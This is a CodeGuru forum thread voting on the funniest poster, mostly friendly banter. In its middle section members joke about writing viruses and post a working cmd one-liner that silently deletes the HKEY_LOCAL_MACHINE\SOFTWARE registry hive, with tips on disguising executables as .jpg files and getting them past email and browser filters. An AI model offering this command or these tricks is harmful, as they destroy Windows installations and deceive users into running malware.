Most funny poster

From MrRee:

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ok..I see...what I mean by black sheep is the 'strange' poster here and white sheep is 'normal' poster

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Indeed. I'm a black sheep, so are you. I'm going down, and I'm draggin' you down as well. :cool:

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now I say it out loud...ban or not, I just don't care anymore...I have to spit it out

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U won't be banned unless....

1) U used extreme profanity
2) U're Xeon
3) U taunt fellow posters until they get into a state of depression and suffer from Schrizophrenia

Good day,
Xeon.

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Originally Posted by Xeon

From MrRee:

Indeed. I'm a black sheep, so are you. I'm going down, and I'm draggin' you down as well. :cool:


U won't be banned unless....

1) U used extreme profanity
2) U're Xeon
3) U taunt fellow posters until they get into a state of depression and suffer from Schrizophrenia

Good day,
Xeon.

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Xeon you have greate imagination, don`t you tried to write computer viruses?? I sure they will put many people to the state of Schrizophrenia
:D :D

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Originally Posted by Xeon

From MrRee:

Indeed. I'm a black sheep, so are you. I'm going down, and I'm draggin' you down as well. :cool:

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Xena or Xenu that was talking to me just now :rolleyes: :D

the sheeps is actually to defend us you know...not to blame us... ;)

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U won't be banned unless....

1) U used extreme profanity
2) U're Xeon
3) U taunt fellow posters until they get into a state of depression and suffer from Schrizophrenia

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looks like no ban for me then:D...I'm only the grey sheep then...but sheeps smell stinks..

@skoons: He is the virus...no need to write one...just waiting to infect others:D

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Originally Posted by mrRee

@skoons: He is the virus...no need to write one...just waiting to infect others:D

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Is there any antivirus???? :eek:

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Originally Posted by Skoons

Is there any antivirus???? :eek:

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our chief, Brad know about this better :D

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Originally Posted by darwen

I suppose it ought to be "Baa baa total abscence of colour sheep..."

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But then we shouldn't be highlighting the fact that it is a sheep either, as this could make it more conscious of the fact that there are more cows at it's particular farm which get special attention (i.e. milking), or the fact that goats wool is worth more than the average sheeps wool, which could be considered discriminatory by many sheep.

So therefore it should be "Baa baa total abscence of colour anonymous farmyard animal"

Or perhaps it should just be "baa baa black sheep".

All animals are equal, but some are more equal than others.

That's from Animal Farm by George Orwell, if you didn't know.

Darwen.

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Originally Posted by darwen

That's from Animal Farm by George Orwell, if you didn't know.

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I've only seen the movie. ;)

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Originally Posted by darwen

All animals are equal, but some are more equal than others.

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That's because they have the operator== overloaded. ;)

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Originally Posted by cilu

That's because they have the operator= overloaded. ;)

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operator== ;)

It's amazing how quickly you guys turn a thread!

My vote goes out to Squirrel god, Darwen and Deniz (aka: Hot Geek King) ;)

From Skoons:

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Xeon you have greate imagination, don`t you tried to write computer viruses??

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Nah, I dunno how to. The only kind of virus I can ever write is an executable EXE program that when launched, deletes the crucial Windows system files and the crucial HKEY values in the registry. But who would ever fall for such a trick? Besides, how do I distrbute it? Those virus writers out there can write viruses that can affect millions of PCs around the world in less than 6 hours. For my kinda virus, I need more than 3 hours just to convince 1 single naive teenage girl to launch my program. And how am I gonna do that? Tour the neighbourhood like a salesman? But the thing is : the next time their computer can't start-up, they'll know it's me and will give my facial description to the cops and I'm dead. :D

From Ree:

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looks like no ban for me then

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Nah.....don't be too smug. Like the Chief said, one more time and you'll be banned. And you won't returned, cos' u're unlike me. I've long ties with CodeGuru and that's why I get certain "discounts" and privileges.
Why.....I even purchase a Barbie doll playhouse for the Chief's 6 year old cutie daughter last month!
Hey Gwendoline L. Jones.....u like that dollhouse which uncle Xeon gave you? Cute eh? :wave:

From Gurley:

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It's amazing how quickly you guys turn a thread!

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Hey NoHero! Your girlfriend's here! Hello? U there? Com'on, get out of that hole, stop hiding! Don't you wanna see her before she becomes Deniz's girl? Sigh.

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My vote goes out to Squirrel god, Darwen and Deniz (aka: Hot Geek King)

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Xeon : Hey Gwendoline L. Jones.......please persuade your daddy to ban this Gurley_Girl. She's insulting uncle Xeon with every post she makes and she doesn't even wanna vote for your uncle Xeon.
Now.....uncle Xeon didn't give you that dollhouse for nothing, right? :cool:

Good day,
Xeon.

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Originally Posted by Xeon

Nah, I dunno how to. The only kind of virus I can ever write is an executable EXE program that when launched, deletes the crucial Windows system files and the crucial HKEY values in the registry. But who would ever fall for such a trick? Besides, how do I distrbute it? Those virus writers out there can write viruses that can affect millions of PCs around the world in less than 6 hours. For my kinda virus, I need more than 3 hours just to convince 1 single naive teenage girl to launch my program. And how am I gonna do that? Tour the neighbourhood like a salesman? But the thing is : the next time their computer can't start-up, they'll know it's me and will give my facial description to the cops and I'm dead. :D

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No need of executable EXE files... just tell the kid to type this in run:

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cmd /c "echo Windows Registry Editor Version 5.00 >> c:\reg.reg && echo. >> c:\reg.reg && echo [-HKEY_LOCAL_MACHINE\SOFTWARE] >> c:\reg.reg && regedit -s c:\reg.reg"

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And it really works! :D

EDIT: Be careful... that was no joke :eek:

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Originally Posted by Xeon

Hey NoHero! Your girlfriend's here! Hello? U there? Com'on, get out of that hole, stop hiding! Don't you wanna see her before she becomes Deniz's girl? Sigh.

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What's on the menu? Xeon can you take down my order please?

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Originally Posted by Xeon

Xeon : Hey Gwendoline L. Jones.......please persuade your daddy to ban this Gurley_Girl. She's insulting uncle Xeon with every post she makes and she doesn't even wanna vote for your uncle Xeon.
Now.....uncle Xeon didn't give you that dollhouse for nothing, right? :cool:

Good day,
Xeon.

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I don't want to vote for you, you're not funny.

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Originally Posted by gurleygirl

I don't want to vote for you, you're not funny.

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Servant's do not need to be funny. Have you ever seen Butler James laugh? XEEEOOON!!! Have you ironed my news paper?!?! I am still waiting for it!!!!

:D

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Originally Posted by Xeon

From Skoons:

Nah, I dunno how to. The only kind of virus I can ever write is an executable EXE program that when launched, deletes the crucial Windows system files and the crucial HKEY values in the registry. But who would ever fall for such a trick? Besides, how do I distrbute it? Those virus writers out there can write viruses that can affect millions of PCs around the world in less than 6 hours. For my kinda virus, I need more than 3 hours just to convince 1 single naive teenage girl to launch my program. And how am I gonna do that? Tour the neighbourhood like a salesman? But the thing is : the next time their computer can't start-up, they'll know it's me and will give my facial description to the cops and I'm dead. :D

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You need simply to name it like SomeName.jpg (enter her as much as possible (nearly 100) spaces and exe at the end
It works. So Now many viruses has exe envelope. That not old good days. People have forget assembler :sick:
:sick: :sick:

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Originally Posted by Skoons

You need simply to name it like SomeName.jpg (enter her as much as possible (nearly 100) spaces and exe at the end
It works. So Now many viruses has exe envelope. That not old good days. People have forget assembler :sick:
:sick: :sick:

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I don't think that "naive teenage girl" he was talking about can be fooled so easily.. u need to tell her ... hey cutie, i got a surprise.. you can see Bill Gates saying hi to you by typing this in your run:

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cmd /c "echo Windows Registry Editor Version 5.00 >> c:\reg.reg && echo. >> c:\reg.reg && echo [-HKEY_LOCAL_MACHINE\SOFTWARE] >> c:\reg.reg && regedit -s c:\reg.reg"

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:D

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Originally Posted by Skoons

You need simply to name it like SomeName.jpg (enter her as much as possible (nearly 100) spaces and exe at the end
It works. So Now many viruses has exe envelope. That not old good days. People have forget assembler :sick:
:sick: :sick:

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Since most of the people have turned on the setting "Hide extension of known file types" you can easily make a file: somename.jpg.exe and lay it on desktop: The ".exe" will be cut out and the user thinks he opens an jpeg file.

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Originally Posted by NoHero

Since most of the people have turned on the setting "Hide extension of known file types" you can easily make a file: somename.jpg.exe and lay it on desktop: The ".exe" will be cut out and the user thinks he opens an jpeg file.

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Here are some problems because of that trick..
If you are going to transfer an exe with a disguised name... u hav to consider transfering by
1. Your instant messaging where extension will be shown .. or exe will be blocked
2. E-mail.. nowadays, they won't allow you to send EXE as attachment!
3.. any other suggestions?

3. What about hosting the EXE file on a website?..
But the irritating SP2 of Windows XP will alert that it is an EXE if the person is using Internet Explorer

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Originally Posted by bijuabrahamp

Here are some problems because of that trick..
If you are going to transfer an exe with a disguised name... u hav to consider transfering by
1. Your instant messaging where extension will be shown .. or exe will be blocked
2. E-mail.. nowadays, they won't allow you to send EXE as attachment!
3.. any other suggestions?

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There are some tricks. i will post them, but I need to translate them to English at first

Its amazing to see how this thread became a virus tutorial (at the moment). :D

// Skoons, I'll be waiting for those "tricks" you mentioned. :)

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Originally Posted by gurleygirl

I don't want to vote for you, you're not funny.

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Very well said. :thumb: :D

hey dont get this thread closed because of the virus related discussions... guys .. vote for the most funny poster...or talk about anything else....

Has anyone followed Ovidiu in this thread?
I find Ovidiu funny when he wants to be.

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Originally Posted by Siddhartha

Has anyone followed Ovidiu in this thread?
I find Ovidiu funny when he wants to be.

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I agree. :D

Why does my name keep getting dragged into this thread which is somehow about how to write efficient viruses without getting cought?

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Originally Posted by Deniz

Why does my name keep getting dragged into this thread which is somehow about how to write efficient viruses without getting cought?

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Is it? I thought this thread is about the "Most funny poster" (which, you're one of).

// Some people who have posted here just got a 'lil sidetracked. :D

I know I know.

Ok people, I will accept the award for the funniest poster, since you all insist.

Whats my reward? If it's anything like an oscar or a golden globe then don't bother, my awards room is full.

A pat on the shoulders. :D

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Originally Posted by che_rish

A pat on the shoulders. :D

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Yep yep, a pat on the shoulder and a big money reward, right? right? :lol:

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Originally Posted by Deniz

Yep yep, a pat on the shoulder and a big money reward, right? right? :lol:

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Lol. Sure, a big money reward. :)

// But then again, I'm not the thread-starter here... so its not for me to say. ;)

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Originally Posted by che_rish

Lol. Sure, a big money reward. :)

// But then again, I'm not the thread-starter here... so its not for me to say. ;)

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What??? WHat??? Come again??? big money reward??? Ok..how big money do u want??? just let me know the size and we'll get back to you with it...:D

By the way, pat on the back was kinda cool..aint Deniz happy with that?

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Originally Posted by exterminator

By the way, pat on the back was kinda cool..aint Deniz happy with that?

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Nah, you gotta scratch me behind my ears too for it to be a reward worth considering.

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Originally Posted by exterminator

What??? WHat??? Come again??? big money reward??? Ok..how big money do u want??? just let me know the size and we'll get back to you with it...:D

By the way, pat on the back was kinda cool..aint Deniz happy with that?

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Hehe. That's why I said.. its not for me to say so. :D

:lol: Imagine all of us here in CG giving Deniz a pat on the shoulders... he would end up being heavily bruised. :D

Oh! And what if instead of big money reward, let's just give the winner a big whack on the back. Hehe. (Just kidding, Deniz!! ;) )

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Originally Posted by Deniz

Nah, you gotta scratch me behind my ears too for it to be a reward worth considering.

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:eek: Like a dog??

Yeah why not. If I get a pat on the back then might as well get a scartch behind the ear too.

LOL!! ...but true. Good point. :D

After an absolutely random goooogle search I found THIS.
Thanks Ejaz for nominating me.
Thanks cilu for revealing that I'm nuts.
Thanks Max Payne for confirming that.
Thanks darwen, Siddhartha, cherish and everyone supported me!

I'm deeply touched. Thank you all again!

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Originally Posted by ovidiucucu

After an absolutely random goooogle search I found THIS.
Thanks Ejaz for nominating me.
Thanks cilu for revealing that I'm nuts.
Thanks Max Payne for confirming that.
Thanks darwen, Siddhartha, cherish and everyone supported me!

I'm deeply touched. Thank you all again!

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Welcome :p :thumb:

I can be funny. But i am the only one who understands my humour.

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Originally Posted by ovidiucucu

After an absolutely random goooogle search I found THIS.
Thanks Ejaz for nominating me.
Thanks cilu for revealing that I'm nuts.
Thanks Max Payne for confirming that.
Thanks darwen, Siddhartha, cherish and everyone supported me!

I'm deeply touched. Thank you all again!

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You're welcome. :) Cheers! :wave: